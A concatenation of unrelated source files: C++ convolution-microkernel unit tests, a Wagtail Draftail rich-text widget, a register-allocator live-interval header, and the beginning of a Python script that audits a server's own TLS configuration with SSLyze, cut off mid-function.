TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, output_channels_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_width_lt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 1; input_width < 2; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding(1) .input_channels(3) // padded input height of at least 3 required .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P1C3X4__SCALAR_1X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__SCALAR_1X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__scalar_1x1); } } }
83,054
8,851
<filename>wagtail/admin/rich_text/editors/draftail/__init__.py<gh_stars>1000+ import json import warnings from django.forms import Media, widgets from django.utils.functional import cached_property from wagtail.admin.edit_handlers import RichTextFieldPanel from wagtail.admin.rich_text.converters.contentstate import ContentstateConverter from wagtail.admin.staticfiles import versioned_static from wagtail.core.rich_text import features as feature_registry from wagtail.core.telepath import register from wagtail.core.widget_adapters import WidgetAdapter class DraftailRichTextArea(widgets.HiddenInput): template_name = 'wagtailadmin/widgets/draftail_rich_text_area.html' is_hidden = False # this class's constructor accepts a 'features' kwarg accepts_features = True # Draftail has its own commenting show_add_comment_button = False def get_panel(self): return RichTextFieldPanel def __init__(self, *args, **kwargs): # note: this constructor will receive an 'options' kwarg taken from the WAGTAILADMIN_RICH_TEXT_EDITORS setting, # but we don't currently recognise any options from there (other than 'features', which is passed here as a separate kwarg) kwargs.pop('options', None) self.options = {} self.plugins = [] self.features = kwargs.pop('features', None) if self.features is None: self.features = feature_registry.get_default_features() for feature in self.features: plugin = feature_registry.get_editor_plugin('draftail', feature) if plugin is None: warnings.warn( f"Draftail received an unknown feature '{feature}'.", category=RuntimeWarning ) else: plugin.construct_options(self.options) self.plugins.append(plugin) self.converter = ContentstateConverter(self.features) default_attrs = {'data-draftail-input': True} attrs = kwargs.get('attrs') if attrs: default_attrs.update(attrs) kwargs['attrs'] = default_attrs super().__init__(*args, **kwargs) def format_value(self, value): # Convert database rich text representation to the format required by # the input field value = super().format_value(value) if value is None: value = '' return self.converter.from_database_format(value) def get_context(self, name, value, attrs): context = super().get_context(name, value, attrs) context['widget']['options_json'] = json.dumps(self.options) return context def value_from_datadict(self, data, files, name): original_value = super().value_from_datadict(data, files, name) if original_value is None: return None return self.converter.to_database_format(original_value) @cached_property def media(self): media = Media(js=[ versioned_static('wagtailadmin/js/draftail.js'), ], css={ 'all': [versioned_static('wagtailadmin/css/panels/draftail.css')] }) for plugin in self.plugins: media += plugin.media return media class DraftailRichTextAreaAdapter(WidgetAdapter): js_constructor = 'wagtail.widgets.DraftailRichTextArea' def js_args(self, widget): return [ widget.options, ] register(DraftailRichTextAreaAdapter(), DraftailRichTextArea)
1,413
6,059
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #pragma once #include "IRInstruction.h" #include "LinearScan.h" #include "Liveness.h" #include <unordered_map> #include <utility> #include <vector> namespace fastregalloc { using InsnIdx = std::unordered_map<IRInstruction*, uint32_t>; using RangeInBlock = std::pair<IRInstruction*, IRInstruction*>; using VRegAliveRangeInBlock = std::unordered_map<vreg_t, RangeInBlock>; using VRegAliveInsns = std::unordered_map<vreg_t, std::vector<RangeInBlock>>; using IntervalEndPoints = std::pair<uint32_t, uint32_t>; using VRegBlockRanges = std::vector<IntervalEndPoints>; /* * All vregs in the live-in set for a basic block starting at instruction i have * a live interval that includes i. All vregs in the live-out set for a basic * block ending at instruction j have a live interval that includes j. * If a vreg occurs in a basic block: * If it's not in the live-in set, its live interval needs to be extended to its * first Def in this block. If it's not in the live-out set, its live interval * needs to be extended to its last Def/Use in the block. If it's neither in * live-in nor in live-out, then a new interval is added from first Def to last * Use of this vreg within the basic block. */ VRegAliveRangeInBlock get_live_range_in_block( const LivenessFixpointIterator& fixpoint_iter, cfg::Block* block); /* * Order the instruction list. Then for each vreg, turn each instruction range * into idx range, and study the smallest connected range that covers all * ranges, which is the live interval of this vreg. Put live interval and vreg * info into the result vector and sort before return. */ LiveIntervals init_live_intervals(IRCode* code); IntervalEndPoints calculate_live_interval( std::vector<RangeInBlock>& insn_ranges, const InsnIdx& insn_idx, const uint32_t max_idx); } // namespace fastregalloc
630
8,706
#!/usr/bin/python3 # Runs SSLyze on the TLS endpoints of a box and outputs # the results so we can inspect the settings and compare # against a known good version in tls_results.txt. # # Make sure you have SSLyze available: # wget https://github.com/nabla-c0d3/sslyze/releases/download/release-0.11/sslyze-0_11-linux64.zip # unzip sslyze-0_11-linux64.zip # # Then run: # # python3 tls.py yourservername # # If you are on a residential network that blocks outbound # port 25 connections, then you can proxy the connections # through some other host you can ssh into (maybe the box # itself?): # # python3 tls.py --proxy user@ssh_host yourservername # # (This will launch "ssh -N -L10023:yourservername:testport user@ssh_host" # to create a tunnel.) import sys, subprocess, re, time, json, csv, io, urllib.request ###################################################################### # PARSE COMMAND LINE proxy = None args = list(sys.argv[1:]) while len(args) > 0: if args[0] == "--proxy": args.pop(0) proxy = args.pop(0) break if len(args) == 0: print("Usage: python3 tls.py [--proxy ssh_host] hostname") sys.exit(0) host = args[0] ###################################################################### SSLYZE = "sslyze-0_11-linux64/sslyze/sslyze.py" common_opts = ["--sslv2", "--sslv3", "--tlsv1", "--tlsv1_1", "--tlsv1_2", "--reneg", "--resum", "--hide_rejected_ciphers", "--compression", "--heartbleed"] # Recommendations from Mozilla as of May 20, 2015 at # https://wiki.mozilla.org/Security/Server_Side_TLS. # # The 'modern' ciphers support Firefox 27, Chrome 22, IE 11, # Opera 14, Safari 7, Android 4.4, Java 8. Assumes TLSv1.1, # TLSv1.2 only, though we may also be allowing TLSv3. # # The 'intermediate' ciphers support Firefox 1, Chrome 1, IE 7, # Opera 5, Safari 1, Windows XP IE8, Android 2.3, Java 7. # Assumes TLSv1, TLSv1.1, TLSv1.2. # # The 'old' ciphers bring compatibility back to Win XP IE 6. MOZILLA_CIPHERS_MODERN = "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256" MOZILLA_CIPHERS_INTERMEDIATE = "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS" MOZILLA_CIPHERS_OLD = "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:DES-CBC3-SHA:HIGH:SEED:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!RSAPSK:!aDH:!aECDH:!EDH-DSS-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA:!SRP" ###################################################################### def sslyze(opts, port, ok_ciphers): # Print header. header = ("PORT %d" % port) print(header) print("-" * (len(header))) # What ciphers should we expect? ok_ciphers = subprocess.check_output(["openssl", "ciphers", ok_ciphers]).decode("utf8").strip().split(":") # Form the SSLyze connection string. 